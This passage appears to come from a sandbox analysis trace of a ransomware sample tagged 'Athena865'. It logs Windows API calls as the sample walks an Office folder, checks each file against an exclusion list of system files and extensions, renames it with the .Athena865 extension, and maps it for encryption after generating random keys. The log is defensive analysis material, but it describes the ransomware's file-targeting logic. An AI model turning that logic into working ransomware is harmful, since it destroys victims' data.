dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SPANISH.LNG", cAlternateFileName="")) returned 1 [0085.645] lstrcmpiW (lpString1="SPANISH.LNG", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0085.645] lstrcmpiW (lpString1="SPANISH.LNG", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0085.645] lstrcmpiW (lpString1="SPANISH.LNG", lpString2=".") returned 1 [0085.645] lstrcmpiW (lpString1="SPANISH.LNG", lpString2="..") returned 1 [0085.645] lstrcmpiW (lpString1="SPANISH.LNG", lpString2="windows") returned -1 [0085.645] lstrcmpiW (lpString1="SPANISH.LNG", lpString2="bootmgr") returned 1 [0085.645] lstrcmpiW (lpString1="SPANISH.LNG", lpString2="temp") returned -1 [0085.645] lstrcmpiW (lpString1="SPANISH.LNG", lpString2="pagefile.sys") returned 1 [0085.645] lstrcmpiW (lpString1="SPANISH.LNG", lpString2="boot") returned 1 [0085.645] lstrcmpiW (lpString1="SPANISH.LNG", lpString2="ids.txt") returned 1 [0085.645] lstrcmpiW (lpString1="SPANISH.LNG", lpString2="ntuser.dat") returned 1 [0085.645] lstrcmpiW (lpString1="SPANISH.LNG", lpString2="perflogs") returned 1 [0085.646] lstrcmpiW (lpString1="SPANISH.LNG", lpString2="MSBuild") returned 1 [0085.646] lstrlenW (lpString="SPANISH.LNG") returned 11 [0085.646] lstrcpyW (in: lpString1=0x241e89e, lpString2="SPANISH.LNG" | out: lpString1="SPANISH.LNG") returned="SPANISH.LNG" [0085.646] lstrlenW (lpString="SPANISH.LNG") returned 11 [0085.646] lstrlenW (lpString="Athena865") returned 9 [0085.646] lstrcmpiW (lpString1="ANISH.LNG", lpString2="Athena865") returned -1 [0085.646] lstrlenW (lpString=".dll") returned 4 [0085.646] lstrcmpiW (lpString1="SPANISH.LNG", lpString2=".dll") returned 1 [0085.646] lstrlenW (lpString=".lnk") returned 4 [0085.646] lstrcmpiW (lpString1="SPANISH.LNG", lpString2=".lnk") returned 1 [0085.646] lstrlenW (lpString=".ini") returned 4 [0085.646] lstrcmpiW (lpString1="SPANISH.LNG", lpString2=".ini") returned 1 [0085.646] lstrlenW (lpString=".sys") returned 4 [0085.646] lstrcmpiW (lpString1="SPANISH.LNG", lpString2=".sys") returned 1 [0085.646] lstrlenW (lpString="SPANISH.LNG") returned 11 [0085.646] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SPANISH.LNG.Athena865") returned 64 [0085.646] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SPANISH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\spanish.lng"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SPANISH.LNG.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\spanish.lng.athena865"), dwFlags=0x1) returned 1 [0085.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SPANISH.LNG.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\spanish.lng.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0085.648] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=366569) returned 1 [0085.648] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0085.648] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0085.648] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0085.648] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0085.649] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0085.649] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.649] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x59af0, lpName=0x0) returned 0x17c [0085.650] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x59af0) returned 0x2d50000 [0085.666] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0085.666] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0085.666] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0085.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0085.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0085.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0085.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0085.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0085.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0085.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0085.667] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0085.670] CloseHandle (hObject=0x17c) returned 1 [0085.670] CloseHandle (hObject=0x154) returned 1 [0085.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0085.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0085.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0085.672] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd718e200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd718e200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x173e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1 [0085.672] lstrcmpiW (lpString1="SplashScreen.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0085.672] lstrcmpiW (lpString1="SplashScreen.bmp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0085.672] lstrcmpiW (lpString1="SplashScreen.bmp", lpString2=".") returned 1 [0085.672] lstrcmpiW (lpString1="SplashScreen.bmp", lpString2="..") returned 1 [0085.672] lstrcmpiW (lpString1="SplashScreen.bmp", lpString2="windows") returned -1 [0085.672] lstrcmpiW (lpString1="SplashScreen.bmp", lpString2="bootmgr") returned 1 [0085.672] lstrcmpiW (lpString1="SplashScreen.bmp", lpString2="temp") returned -1 [0085.672] lstrcmpiW (lpString1="SplashScreen.bmp", lpString2="pagefile.sys") returned 1 [0085.672] lstrcmpiW (lpString1="SplashScreen.bmp", lpString2="boot") returned 1 [0085.672] lstrcmpiW (lpString1="SplashScreen.bmp", lpString2="ids.txt") returned 1 [0085.672] lstrcmpiW (lpString1="SplashScreen.bmp", lpString2="ntuser.dat") returned 1 [0085.672] lstrcmpiW (lpString1="SplashScreen.bmp", lpString2="perflogs") returned 1 [0085.672] lstrcmpiW (lpString1="SplashScreen.bmp", lpString2="MSBuild") returned 1 [0085.672] lstrlenW (lpString="SplashScreen.bmp") returned 16 [0085.672] lstrcpyW (in: lpString1=0x241e89e, lpString2="SplashScreen.bmp" | out: lpString1="SplashScreen.bmp") returned="SplashScreen.bmp" [0085.672] lstrlenW (lpString="SplashScreen.bmp") returned 16 [0085.672] lstrlenW (lpString="Athena865") returned 9 [0085.672] lstrcmpiW (lpString1="creen.bmp", lpString2="Athena865") returned 1 [0085.672] lstrlenW (lpString=".dll") returned 4 [0085.672] lstrcmpiW (lpString1="SplashScreen.bmp", lpString2=".dll") returned 1 [0085.672] lstrlenW (lpString=".lnk") returned 4 [0085.672] lstrcmpiW (lpString1="SplashScreen.bmp", lpString2=".lnk") returned 1 [0085.672] lstrlenW (lpString=".ini") returned 4 [0085.672] lstrcmpiW (lpString1="SplashScreen.bmp", lpString2=".ini") returned 1 [0085.672] lstrlenW (lpString=".sys") returned 4 [0085.672] lstrcmpiW (lpString1="SplashScreen.bmp", lpString2=".sys") returned 1 [0085.672] lstrlenW (lpString="SplashScreen.bmp") returned 16 [0085.673] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SplashScreen.bmp.Athena865") returned 69 [0085.673] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SplashScreen.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\splashscreen.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SplashScreen.bmp.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\splashscreen.bmp.athena865"), dwFlags=0x1) returned 1 [0085.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SplashScreen.bmp.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\splashscreen.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0085.674] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=95208) returned 1 [0085.674] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0085.674] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0085.674] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0085.675] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0085.675] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0085.675] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.675] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x176f0, lpName=0x0) returned 0x17c [0085.677] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x176f0) returned 0x100000 [0085.680] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0085.681] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0085.681] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0085.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0085.682] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0085.682] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0085.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.682] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0085.682] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0085.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0085.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0085.682] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0085.683] CloseHandle (hObject=0x17c) returned 1 [0085.683] CloseHandle (hObject=0x154) returned 1 [0085.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0085.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0085.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0085.684] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20188a00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6780680, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x20188a00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x3d7a8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SQLSHARE.DLL", cAlternateFileName="")) returned 1 [0085.684] lstrcmpiW (lpString1="SQLSHARE.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0085.684] lstrcmpiW (lpString1="SQLSHARE.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0085.684] lstrcmpiW (lpString1="SQLSHARE.DLL", lpString2=".") returned 1 [0085.684] lstrcmpiW (lpString1="SQLSHARE.DLL", lpString2="..") returned 1 [0085.684] lstrcmpiW (lpString1="SQLSHARE.DLL", lpString2="windows") returned -1 [0085.685] lstrcmpiW (lpString1="SQLSHARE.DLL", lpString2="bootmgr") returned 1 [0085.685] lstrcmpiW (lpString1="SQLSHARE.DLL", lpString2="temp") returned -1 [0085.685] lstrcmpiW (lpString1="SQLSHARE.DLL", lpString2="pagefile.sys") returned 1 [0085.685] lstrcmpiW (lpString1="SQLSHARE.DLL", lpString2="boot") returned 1 [0085.685] lstrcmpiW (lpString1="SQLSHARE.DLL", lpString2="ids.txt") returned 1 [0085.685] lstrcmpiW (lpString1="SQLSHARE.DLL", lpString2="ntuser.dat") returned 1 [0085.685] lstrcmpiW (lpString1="SQLSHARE.DLL", lpString2="perflogs") returned 1 [0085.685] lstrcmpiW (lpString1="SQLSHARE.DLL", lpString2="MSBuild") returned 1 [0085.685] lstrlenW (lpString="SQLSHARE.DLL") returned 12 [0085.685] lstrcpyW (in: lpString1=0x241e89e, lpString2="SQLSHARE.DLL" | out: lpString1="SQLSHARE.DLL") returned="SQLSHARE.DLL" [0085.685] lstrlenW (lpString="SQLSHARE.DLL") returned 12 [0085.685] lstrlenW (lpString="Athena865") returned 9 [0085.685] lstrcmpiW (lpString1="SHARE.DLL", lpString2="Athena865") returned 1 [0085.685] lstrlenW (lpString=".dll") returned 4 [0085.685] lstrcmpiW (lpString1="SQLSHARE.DLL", lpString2=".dll") returned 1 [0085.685] lstrlenW (lpString=".lnk") returned 4 [0085.685] lstrcmpiW (lpString1="SQLSHARE.DLL", lpString2=".lnk") returned 1 [0085.685] lstrlenW (lpString=".ini") returned 4 [0085.685] lstrcmpiW (lpString1="SQLSHARE.DLL", lpString2=".ini") returned 1 [0085.685] lstrlenW (lpString=".sys") returned 4 [0085.685] lstrcmpiW (lpString1="SQLSHARE.DLL", lpString2=".sys") returned 1 [0085.685] lstrlenW (lpString="SQLSHARE.DLL") returned 12 [0085.685] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SQLSHARE.DLL.Athena865") returned 65 [0085.685] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SQLSHARE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\sqlshare.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SQLSHARE.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\sqlshare.dll.athena865"), dwFlags=0x1) returned 1 [0085.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SQLSHARE.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\sqlshare.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0085.687] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=251816) returned 1 [0085.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0085.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0085.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0085.687] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0085.688] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0085.688] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.688] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3dab0, lpName=0x0) returned 0x17c [0085.690] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3dab0) returned 0x170000 [0085.698] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0085.699] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0085.699] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0085.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0085.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0085.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0085.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0085.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0085.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0085.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0085.700] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0085.702] CloseHandle (hObject=0x17c) returned 1 [0085.702] CloseHandle (hObject=0x154) returned 1 [0085.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0085.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0085.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0085.703] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef96c00, ftCreationTime.dwHighDateTime=0x1ca5083, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaef96c00, ftLastWriteTime.dwHighDateTime=0x1ca5083, nFileSizeHigh=0x0, nFileSizeLow=0x24748, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SSGEN.DLL", cAlternateFileName="")) returned 1 [0085.703] lstrcmpiW (lpString1="SSGEN.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0085.703] lstrcmpiW (lpString1="SSGEN.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0085.703] lstrcmpiW (lpString1="SSGEN.DLL", lpString2=".") returned 1 [0085.703] lstrcmpiW (lpString1="SSGEN.DLL", lpString2="..") returned 1 [0085.703] lstrcmpiW (lpString1="SSGEN.DLL", lpString2="windows") returned -1 [0085.703] lstrcmpiW (lpString1="SSGEN.DLL", lpString2="bootmgr") returned 1 [0085.703] lstrcmpiW (lpString1="SSGEN.DLL", lpString2="temp") returned -1 [0085.703] lstrcmpiW (lpString1="SSGEN.DLL", lpString2="pagefile.sys") returned 1 [0085.703] lstrcmpiW (lpString1="SSGEN.DLL", lpString2="boot") returned 1 [0085.703] lstrcmpiW (lpString1="SSGEN.DLL", lpString2="ids.txt") returned 1 [0085.704] lstrcmpiW (lpString1="SSGEN.DLL", lpString2="ntuser.dat") returned 1 [0085.704] lstrcmpiW (lpString1="SSGEN.DLL", lpString2="perflogs") returned 1 [0085.704] lstrcmpiW (lpString1="SSGEN.DLL", lpString2="MSBuild") returned 1 [0085.704] lstrlenW (lpString="SSGEN.DLL") returned 9 [0085.704] lstrcpyW (in: lpString1=0x241e89e, lpString2="SSGEN.DLL" | out: lpString1="SSGEN.DLL") returned="SSGEN.DLL" [0085.704] lstrlenW (lpString="SSGEN.DLL") returned 9 [0085.704] lstrlenW (lpString="Athena865") returned 9 [0085.704] lstrlenW (lpString=".dll") returned 4 [0085.704] lstrcmpiW (lpString1="SSGEN.DLL", lpString2=".dll") returned 1 [0085.704] lstrlenW (lpString=".lnk") returned 4 [0085.704] lstrcmpiW (lpString1="SSGEN.DLL", lpString2=".lnk") returned 1 [0085.704] lstrlenW (lpString=".ini") returned 4 [0085.704] lstrcmpiW (lpString1="SSGEN.DLL", lpString2=".ini") returned 1 [0085.704] lstrlenW (lpString=".sys") returned 4 [0085.704] lstrcmpiW (lpString1="SSGEN.DLL", lpString2=".sys") returned 1 [0085.704] lstrlenW (lpString="SSGEN.DLL") returned 9 [0085.704] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SSGEN.DLL.Athena865") returned 62 [0085.704] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SSGEN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ssgen.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SSGEN.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ssgen.dll.athena865"), dwFlags=0x1) returned 1 [0085.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SSGEN.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ssgen.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0085.705] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=149320) returned 1 [0085.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0085.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0085.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0085.706] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0085.706] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0085.706] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.706] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x24a50, lpName=0x0) returned 0x17c [0085.708] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x24a50) returned 0x170000 [0085.713] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0085.714] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0085.714] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0085.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0085.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0085.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0085.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0085.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0085.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0085.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0085.715] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0085.716] CloseHandle (hObject=0x17c) returned 1 [0085.716] CloseHandle (hObject=0x154) returned 1 [0085.717] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0085.717] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0085.717] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0085.717] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="STARTUP", cAlternateFileName="")) returned 1 [0085.717] lstrcmpiW (lpString1="STARTUP", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0085.717] lstrcmpiW (lpString1="STARTUP", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0085.718] lstrcmpiW (lpString1="STARTUP", lpString2=".") returned 1 [0085.718] lstrcmpiW 